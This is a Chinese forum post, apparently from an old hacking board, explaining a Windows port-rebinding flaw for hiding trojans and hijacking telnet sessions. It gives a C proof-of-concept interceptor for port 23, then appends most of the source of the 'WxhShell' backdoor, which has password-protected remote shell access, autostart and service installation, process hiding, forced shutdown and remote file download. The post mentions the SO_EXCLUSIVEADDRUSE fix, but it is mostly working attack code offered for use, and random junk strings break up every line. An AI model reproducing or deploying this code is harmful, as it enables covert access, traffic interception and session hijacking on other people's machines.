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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0C  K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `!(%R k  
=tP^vgfQ  
  saddr.sin_family = AF_INET; 5X>~39(r  
Q"GM3?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  7Z<GlNv  
UUb0[oy  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); c~;VvYu  
"* N#-=MJF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V\opC6*L_e  
!`1m.  
  这意味着什么?意味着可以进行如下的攻击: ;Bj&9DZd  
z!18Jh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <>Dw8?O  
v?}0h5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o?Cc  
Uxik&M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 qu dY9_  
23`salLclG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J YA>Q&  
H$ g*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O8_! !Qd  
R5(([C1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F]r'j ZL  
+G[zE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +`>E_+Mp  
A'b$X1h  
  #include o?t H[  
  #include D %)L "5C  
  #include 9y;}B y  
  #include    {;& U5<NO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ->.9[|lIg  
  int main() q5-i=lw  
  { OdY9g2y#m  
  WORD wVersionRequested; F;h^o!W7r  
  DWORD ret; c$L1aZo  
  WSADATA wsaData; ?wCX:? g  
  BOOL val; v1X[/\;U  
  SOCKADDR_IN saddr; wy${EY^h  
  SOCKADDR_IN scaddr; |9IOZ>H9  
  int err; 8F`8=L NO  
  SOCKET s; 8wOscL f:  
  SOCKET sc; ~u2f`67{  
  int caddsize; JS%LJ _J  
  HANDLE mt; svl!"tMXl  
  DWORD tid;   l 'wu-  
  wVersionRequested = MAKEWORD( 2, 2 ); cc_'Kv!  
  err = WSAStartup( wVersionRequested, &wsaData ); *?HoN;^  
  if ( err != 0 ) { m*N8!1Ot  
  printf("error!WSAStartup failed!\n"); <bSPKTKL  
  return -1; C~@m6K  
  } r hucBm  
  saddr.sin_family = AF_INET; ZAN~TG<n  
   r~ f;g9I  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "0#(<zb|  
sCrP+K0D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,zHL8SiTX  
  saddr.sin_port = htons(23); tcv(<0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V,d\Wkk/  
  { FjtS  
  printf("error!socket failed!\n"); k_wcol,W  
  return -1; x< 2]UB`  
  } $`/UG0rdC  
  val = TRUE; Qg(;>ops  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }8aqSD<:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) g@4~,  
  { [R%*C9Y d  
  printf("error!setsockopt failed!\n"); ,@?9H ~\  
  return -1; rXD:^wUSc  
  } Fb%?qaLmCv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K|-m6!C!7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 GP hhg  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l7^^Mnk C  
B; e<.M)e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Q8m%mJz~]  
  { j8[U}~*^  
  ret=GetLastError(); 2-8Dc4H]r  
  printf("error!bind failed!\n"); 0NZ'(qf~9  
  return -1; >uq0}HB$a  
  } \OFmd!Cz  
  listen(s,2); ~Hub\kn  
  while(1) S qb>a j  
  { #!UJY%c ~  
  caddsize = sizeof(scaddr); q6C`hVM l  
  //接受连接请求 z7`|N`$Z#s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); NFEr ,n  
  if(sc!=INVALID_SOCKET) 9S}rTZkEq  
  { `H$XO{w  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s_fe4K  
  if(mt==NULL) @!! u>1  
  { 2672oFD  
  printf("Thread Creat Failed!\n"); n~|?)EL  
  break; 2 A!*8w  
  } ;NdH]a {  
  } }k%6X@  
  CloseHandle(mt); <Y?Z&rNb  
  } IBJNs$  
  closesocket(s); 2xO[ ?fR  
  WSACleanup(); DH+kp$,}  
  return 0; zs I?X>4  
  }   (ub(0 h0j  
  DWORD WINAPI ClientThread(LPVOID lpParam) Il&7n_ H  
  { dG5jhkPX  
  SOCKET ss = (SOCKET)lpParam; SF-"3M  
  SOCKET sc; 0'pB7^y  
  unsigned char buf[4096]; &k}B66  
  SOCKADDR_IN saddr; DAWF =p]  
  long num; q 9xA.*  
  DWORD val; ^#Q-?O  
  DWORD ret; V^[&4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (W:@v&p  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $RYGAh  
  saddr.sin_family = AF_INET; }l$zZ>.\H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r.#r!.6 q  
  saddr.sin_port = htons(23); r1%{\<   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %?gG-R  
  { a"U3h[;$y  
  printf("error!socket failed!\n"); -sJD:G,%  
  return -1; q&v~9~^}d  
  } !10/M  
  val = 100; rmkBp_i{|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K\U`gTGc  
  { IMqe(  
  ret = GetLastError(); {*GBUv5  
  return -1; _h}(j Ed!  
  } *m<[ sS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U; m@  
  { p+]S)K GZw  
  ret = GetLastError(); ANw1P{9*  
  return -1; Q2m[XcnX  
  } m6BUKX\m  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~210O5^  
  { L$OZ]  
  printf("error!socket connect failed!\n"); ^\O*e)#*  
  closesocket(sc); Y"8@\73(R  
  closesocket(ss); mm: TR?^  
  return -1; )Wq1 af   
  } o<!H/PN  
  while(1) T2w4D !  
  { ZOV,yuD{8{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zi6J|u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6z U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n8;L_43U  
  num = recv(ss,buf,4096,0); m-Jy 4f#  
  if(num>0) \^dse  
  send(sc,buf,num,0); }WC[ <AqI  
  else if(num==0) Y(7&3+'K  
  break; :3Q:pKg  
  num = recv(sc,buf,4096,0); ` wEX;  
  if(num>0) o;Z"I&  
  send(ss,buf,num,0); 1K@ieVc  
  else if(num==0) \os"w "  
  break; 3<$Ek3X  
  } o}KVT%}  
  closesocket(ss); w@,p`  
  closesocket(sc); ?B ,<gen  
  return 0 ; #!O)-dyF  
  } Jaw1bUP!oK  
!|4]V}JQ  
06AgY0\  
========================================================== Pa d)|  
vf.MSk?~ar  
下边附上一个代码,,WXhSHELL 7"'PfP4c  
A8mc+ Bf(  
========================================================== >>KI_$V  
)GG9[%H!  
#include "stdafx.h" xgIb6<qwY  
aIa<,  
#include <stdio.h> '1 2*'Q+{+  
#include <string.h> RDDA^U7y#  
#include <windows.h> uNuFD|aQ.  
#include <winsock2.h> T=-UcF  
#include <winsvc.h> +fboTsp% H  
#include <urlmon.h> M}11 tUl  
|A*4Fuc&  
#pragma comment (lib, "Ws2_32.lib") 7=?!B#hm !  
#pragma comment (lib, "urlmon.lib") G5U?]& I8  
BXdk0  
#define MAX_USER   100 // 最大客户端连接数 `W)?d I?#M  
#define BUF_SOCK   200 // sock buffer ~Oq _lM  
#define KEY_BUFF   255 // 输入 buffer 7M~/ q.  
?C fQwY#N  
#define REBOOT     0   // 重启 }W 5ks-L6  
#define SHUTDOWN   1   // 关机 u5Z yOZ;  
@u/CNx,`X  
#define DEF_PORT   5000 // 监听端口 9;{(.K  
c8mh#T bl  
#define REG_LEN     16   // 注册表键长度 .gC.T`/m  
#define SVC_LEN     80   // NT服务名长度 iLBORT !;  
&)Qq%\EP4  
// 从dll定义API #OM'2@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MCibYv c[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P2jh[a%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dcmf~+T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %b*N.v1+  
ZPE-  
// wxhshell配置信息 em,1Yn?  
struct WSCFG { %(&ja_oO  
  int ws_port;         // 监听端口 g!_#$az3  
  char ws_passstr[REG_LEN]; // 口令 cFq<x=S  
  int ws_autoins;       // 安装标记, 1=yes 0=no -DHzBq=H  
  char ws_regname[REG_LEN]; // 注册表键名 fTR6]i;  
  char ws_svcname[REG_LEN]; // 服务名 9VTAs:0D=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EQ^]W-gN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s/hWhaS<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l+2NA4s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P]^OSPRg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !Q~>)$Cf^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b6k_u9m^E  
@R`6j S_gK  
}; |0}Xb|+  
T\p>wiY2|F  
// default Wxhshell configuration `!N}u  
struct WSCFG wscfg={DEF_PORT, ? Pi|`W   
    "xuhuanlingzhe", 5%9Uh'y#  
    1, Go c*ugR  
    "Wxhshell", %.`u2'^  
    "Wxhshell", a_S`$(7k  
            "WxhShell Service", 9jf9 u0  
    "Wrsky Windows CmdShell Service", V]J"v#!{  
    "Please Input Your Password: ", D<FQVdP  
  1, o>(<:^x9  
  "http://www.wrsky.com/wxhshell.exe", .F@Lx45  
  "Wxhshell.exe" en{p<]H  
    }; bs\k b-\R  
0|-}>>qb\  
// 消息定义模块 n[!QrEeR},  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4t =Kt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Pf4zjc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '"7b;%EN'  
char *msg_ws_ext="\n\rExit."; &D[M<7T  
char *msg_ws_end="\n\rQuit."; 3YLfh`6  
char *msg_ws_boot="\n\rReboot..."; hY{4_ie=8  
char *msg_ws_poff="\n\rShutdown..."; YC 4c-M  
char *msg_ws_down="\n\rSave to "; FEu}zt@  
4rL`||  
char *msg_ws_err="\n\rErr!"; /q>ExXsEC  
char *msg_ws_ok="\n\rOK!"; bf.+Ewb(  
tgCp2 `n  
char ExeFile[MAX_PATH]; U1/I( w  
int nUser = 0; /2T  W?a  
HANDLE handles[MAX_USER]; \;'#8  
int OsIsNt; d!T,fz/-.  
%K3U`6kHcd  
SERVICE_STATUS       serviceStatus; 4.,|vtp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ] +%`WCr9  
z6M5 '$\y  
// 函数声明 ^,=}'H]  
int Install(void); ~28{BY  
int Uninstall(void); [>GblL  
int DownloadFile(char *sURL, SOCKET wsh); ]aMDx>OE  
int Boot(int flag); Jgr;'U$  
void HideProc(void); }*9F`=%F  
int GetOsVer(void); PtUS7[]  
int Wxhshell(SOCKET wsl); a'Cny((  
void TalkWithClient(void *cs); $H3C/|  
int CmdShell(SOCKET sock); dkEbP*y Xg  
int StartFromService(void); xzY/$?  
int StartWxhshell(LPSTR lpCmdLine);  y_[VhZ%  
={cM6F}a@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CZ] Dm4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mB0`>?#i  
R&t2   
// 数据结构和表定义 <75x@!  
SERVICE_TABLE_ENTRY DispatchTable[] = u y"i3xD6-  
{ 9:RV5Dt  
{wscfg.ws_svcname, NTServiceMain}, -tWxB GSa@  
{NULL, NULL} @6DKw;Q  
}; |b='DJz2  
bt1bTo  
// 自我安装 L=Aj+  
int Install(void) r*mYtS  
{ 2Q(ZW@0  
  char svExeFile[MAX_PATH]; :n~Mg{j3  
  HKEY key; vxPr)"Vvz  
  strcpy(svExeFile,ExeFile); V]Ccj\Oi  
>clVV6B  
// 如果是win9x系统,修改注册表设为自启动 )cQ KR4x0^  
if(!OsIsNt) { Yy/,I]F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;9)nG,P3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (L4C1h_]9  
  RegCloseKey(key); K($+ILZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vo{ ~D:)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ) xV>Va8)  
  RegCloseKey(key); 9fbo  
  return 0; n@kJ1ee'  
    } h){#dU+&  
  } @/As|)  
} D.7cWR`Wp  
else { B(71I;  
D?Ol)aj?  
// 如果是NT以上系统,安装为系统服务 ?T%"Jgy8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @fo(#i&  
if (schSCManager!=0) wb#[&2i  
{ tD}{/`{_t  
  SC_HANDLE schService = CreateService ! Y UT*  
  ( QrSO%Rm1*  
  schSCManager, h Ks  
  wscfg.ws_svcname, Wn;%B].I  
  wscfg.ws_svcdisp, '^7Z]K<v  
  SERVICE_ALL_ACCESS, ||cI~qg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ScInOPb'K  
  SERVICE_AUTO_START, 4>Ht_B<<  
  SERVICE_ERROR_NORMAL, !F6rcDKI  
  svExeFile, m>[G-~0?kI  
  NULL, JT6Be8   
  NULL, Gz\wmH&rVz  
  NULL, =Ldf#8J  
  NULL, p|0SA=?k"  
  NULL >3p8o@:  
  ); 0.!vp?  
  if (schService!=0)  874j9ky[  
  { j";L{  
  CloseServiceHandle(schService); e5FF'~A%]  
  CloseServiceHandle(schSCManager); s;Zi   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  56C'<#  
  strcat(svExeFile,wscfg.ws_svcname); _8`S&[E?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P%w!4v ~"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |,.1=|&u  
  RegCloseKey(key); ~|{e"!(}  
  return 0; 6eB~S)Ko  
    } kJ .7C  
  } HCktgL:E=  
  CloseServiceHandle(schSCManager); c0jTQMe4yl  
} J~ @W":v  
} ;6]ag< Q  
bS|h~B]rd  
return 1; S[8n GH#m  
} {}Afah  
ed/ "O gA  
// 自我卸载 =y?Aeqq\fl  
int Uninstall(void) p*zTuB~e<  
{ vXdI)Sx[  
  HKEY key; A$P Oc<  
a(-t"OL\  
if(!OsIsNt) { 6]!Jo)BF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N^[MeG,8  
  RegDeleteValue(key,wscfg.ws_regname); 5P);t9O6  
  RegCloseKey(key); Ho%%voJBS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @O6 2} F  
  RegDeleteValue(key,wscfg.ws_regname); _!vuDv%  
  RegCloseKey(key); 9j;!4AJ1t  
  return 0; 4 ;6,h6a  
  } &ML-\aSal  
} s/;S2l$`  
} Kx;la  
else { $G /p[JG6-  
{>ghX_m |  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FVOPC:}bj  
if (schSCManager!=0) l~1l~Gx_&n  
{ \H PB{ ;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )ZZ6 (O  
  if (schService!=0) K[V#Pj9  
  { gZz5P>^  
  if(DeleteService(schService)!=0) { mX @xV*  
  CloseServiceHandle(schService); *L<<S=g$2  
  CloseServiceHandle(schSCManager); FYg{IKg  
  return 0; 77]Fp(uI  
  } 6%c]{eTd9  
  CloseServiceHandle(schService); a}k5[)et  
  } `- 9p)@'8k  
  CloseServiceHandle(schSCManager); 3P'Wk|j  
} zb!RfQ,  
} \%W"KLP  
0o@eE3^  
return 1; "GxQ9=Z  
} N40DL_-  
9~r8$,e  
// 从指定url下载文件 ``h* A  
int DownloadFile(char *sURL, SOCKET wsh) \gir  
{ )Ee`11  
  HRESULT hr; 5G#2#Al(F  
char seps[]= "/"; P>] *pD  
char *token; c`)[-  
char *file; +'g~3A-G  
char myURL[MAX_PATH]; ge&!GO  
char myFILE[MAX_PATH]; Fy^8]u*Fu  
t8#u}u  
strcpy(myURL,sURL); / \k\HK8  
  token=strtok(myURL,seps); N<HJ}geC "  
  while(token!=NULL) \q|<\~A  
  { 1|7t q  
    file=token; bqZ5GKUo  
  token=strtok(NULL,seps); (;nh?"5  
  } 0{47TX*YX  
]n4G]ybK%  
GetCurrentDirectory(MAX_PATH,myFILE); kK]L(ZU +  
strcat(myFILE, "\\"); >s ;dooZ  
strcat(myFILE, file); @ql S #(  
  send(wsh,myFILE,strlen(myFILE),0); { =IAS}  
send(wsh,"...",3,0); T5TA kEVl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x?G"58  
  if(hr==S_OK) AUm5$;o,/  
return 0; |#O>DdKHT  
else U;Q?Rh- W  
return 1; Wtj* Z.=:  
_VLA2#V>   
} *)qxrBc0  
m+dJ3   
// 系统电源模块 89%#;C  
int Boot(int flag) /,^AG2]( f  
{ ;v%f +  
  HANDLE hToken; FWQNO(  
  TOKEN_PRIVILEGES tkp; `z6I][Uf  
bb`8YF+?'  
  if(OsIsNt) { a~Y`N73/c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j:'8yFi_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 43BqNQ0  
    tkp.PrivilegeCount = 1; D'\gy$9m1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %2`.*]L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  D ~t  
if(flag==REBOOT) { *~jTE;J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,uCgC4EP  
  return 0; 7SJtW`~  
} 3|1v)E  
else { Qis/'9a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1c*XmMB  
  return 0; kxt/I<cs  
} Yp EH(tq  
  } :?SD#Vvrh.  
  else { !TLJk]7uC  
if(flag==REBOOT) { )F,z pGG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %`}nP3  
  return 0; b!`{fwV  
} Cm;M; ?  
else { & 6nLnMF8x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nfksi``Vq  
  return 0; t {H{xd  
} du_~P"[  
} N."x@mV  
H7(D8.y )  
return 1; zV8{|-2]No  
} ~{-9qOGw;  
U;t1 K  
// win9x进程隐藏模块 %BF,;(P  
void HideProc(void) qIvnPaYW  
{ [G' +s  
j%=X ps  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (h'Bz6K  
  if ( hKernel != NULL ) r0*Y~ KHw  
  { ;2[),k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "<&) G{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DcN!u6sJ  
    FreeLibrary(hKernel); ~]SCf@pRk  
  } /h9v'Y}c  
4))N(m%3F  
return; bD. KD)5  
} CZog?O}<  
|!{ Y:f;  
// 获取操作系统版本 `N8t2yF  
int GetOsVer(void) }VeE4-p B  
{ c&C*'c-r  
  OSVERSIONINFO winfo; 2d&]V]:R*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;.=]Ar}  
  GetVersionEx(&winfo); n 0g8B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7M Qh,J!"  
  return 1; z `jLKPP!=  
  else f4$sH/ 2#v  
  return 0; R5&<\RI0  
} kLc@U~M  
R]3j6\  
// 客户端句柄模块 Yz#E0aTTA  
int Wxhshell(SOCKET wsl) _ Y7 Um  
{ g)7@EU2  
  SOCKET wsh; /}9)ZY Mx  
  struct sockaddr_in client; )YW"Zo8~!1  
  DWORD myID; Wg,7k9I  
pfHfw,[  
  while(nUser<MAX_USER) n;wViw  
{ Q" r y@ (I  
  int nSize=sizeof(client); wHh6y?g\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n'[>h0  
  if(wsh==INVALID_SOCKET) return 1; 6sG5 n7E-A  
&hih p"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J&&)%&h'I  
if(handles[nUser]==0) \ &47u1B  
  closesocket(wsh); RAWzQE }  
else i|m8#*Hd  
  nUser++; 2#/23(Wc  
  } #x`K4f)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EvH/d4V;  
nw(R=C  
  return 0; @WNqD*)1  
} ~tn$AtK  
r dCs  
// 关闭 socket >Y(JC#M;  
void CloseIt(SOCKET wsh) 6|IJwP^Q_  
{ EP^qj j@M  
closesocket(wsh); -[}Aka,f!  
nUser--; d0R;|p''Z  
ExitThread(0); k(o(:-+x  
} 31UxYBY  
uIBN !\j  
// 客户端请求句柄 En)Ptz#0  
void TalkWithClient(void *cs) 0!oqP1  
{ [w!T  
iiF`2  
  SOCKET wsh=(SOCKET)cs; +*,!q7Gt  
  char pwd[SVC_LEN]; {Q c,Nl [?  
  char cmd[KEY_BUFF]; xojt s;n   
char chr[1]; Mdq|: ^px  
int i,j; Z_fwvcZ?05  
P^!g0K  
  while (nUser < MAX_USER) { ,:2Z6~z{  
Jg)( F|>o  
if(wscfg.ws_passstr) { Y=?{TX=6<[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]>1`Fa6_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4>OS2b`.;  
  //ZeroMemory(pwd,KEY_BUFF); /:ZwGyT;  
      i=0; v|KIVBkbT  
  while(i<SVC_LEN) { :W6'G@ p  
HB`'S7Q  
  // 设置超时 L9XfR$7,z  
  fd_set FdRead; N;,zPWa  
  struct timeval TimeOut; R!yh0y}Z  
  FD_ZERO(&FdRead); UBJYs{zz  
  FD_SET(wsh,&FdRead); Nu3gkIz5z-  
  TimeOut.tv_sec=8; $2+s3)  
  TimeOut.tv_usec=0; fDqDU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HEAW](s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); % 8wBZ~1-  
$-u c#57  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %|ClYr  
  pwd=chr[0]; 9HEqB0|ZRu  
  if(chr[0]==0xd || chr[0]==0xa) { 7r^Cs#b+I  
  pwd=0; (>E/C^Tc%  
  break; #d*0 )w  
  } RyU8{-q  
  i++; 5*+DN U@  
    } 'J3yJ{  
$gN\%X/n"1  
  // 如果是非法用户,关闭 socket Z6rZAwy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1zCu1'Wv  
} -#mN/  
\4^zY'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H-nhq-fut  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a6cU<(WDeh  
.dVV# H  
while(1) { g],]l'7H  
$STGH  
  ZeroMemory(cmd,KEY_BUFF); cJbv,RV<  
tQRbNY#}Z  
      // 自动支持客户端 telnet标准   ~JNE]mg  
  j=0; MgJ5FRQ  
  while(j<KEY_BUFF) { Ook\CK*nKe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CM$&XJzva  
  cmd[j]=chr[0]; rk4KAX_[  
  if(chr[0]==0xa || chr[0]==0xd) { 7 )[2Ud8  
  cmd[j]=0; uF1 4;  
  break; UJQTArf  
  } I'^XEl?   
  j++; !.^x^OK%y  
    } \y%"tJ~N{  
6P}?+ Gc  
  // 下载文件 ~k-'  
  if(strstr(cmd,"http://")) { %rJDpB{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <bo^uw  
  if(DownloadFile(cmd,wsh)) #pgD-0_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .P7q)lj36h  
  else ' `c \Dq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f3qR7%X?  
  } jnbR}a=fJ  
  else { >~Gy+-  
;?@Rq"*  
    switch(cmd[0]) { 5'+g[eNyBV  
  R.2i%cU  
  // 帮助 -^yc<%U  
  case '?': { GM9[ 0+u;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tmoCy0qWz  
    break; gY[G>D=  
  } lK7:qo  
  // 安装 J k`Jv;  
  case 'i': { kjp~:Bg_(  
    if(Install()) 5de1rB|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p>\[[Md  
    else p/Q< VV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V"(5U(v{~  
    break; ,r~^<m  
    } ~Q Q1ZP3  
  // 卸载 ~PQR_?1  
  case 'r': { h lc!}{$%8  
    if(Uninstall()) TCzlu#w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Zkjtr.\  
    else UJDI[`2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ U"Ib  
    break; : UH*Wft1  
    } m <z?6VC  
  // 显示 wxhshell 所在路径 y7CXE6Y  
  case 'p': { 9z{}DBA  
    char svExeFile[MAX_PATH]; M,p0wsj;  
    strcpy(svExeFile,"\n\r"); #y7MB6-  
      strcat(svExeFile,ExeFile); rA8NE>  
        send(wsh,svExeFile,strlen(svExeFile),0); RA!m,"RM  
    break; mt0v (  
    } i <gt`UCO  
  // 重启 04=RoYMM  
  case 'b': { ^`dMjeF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *oIIcE4g7  
    if(Boot(REBOOT)) v(JjvN21  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *y|w9 r p  
    else { c)N_"#&  
    closesocket(wsh); ZVJ6 {DS/  
    ExitThread(0); "QS(4yw?jg  
    } g8&& W_BI  
    break; \24'iYtqW  
    } ' Kkp!eZQ~  
  // 关机 I]5){Q" S  
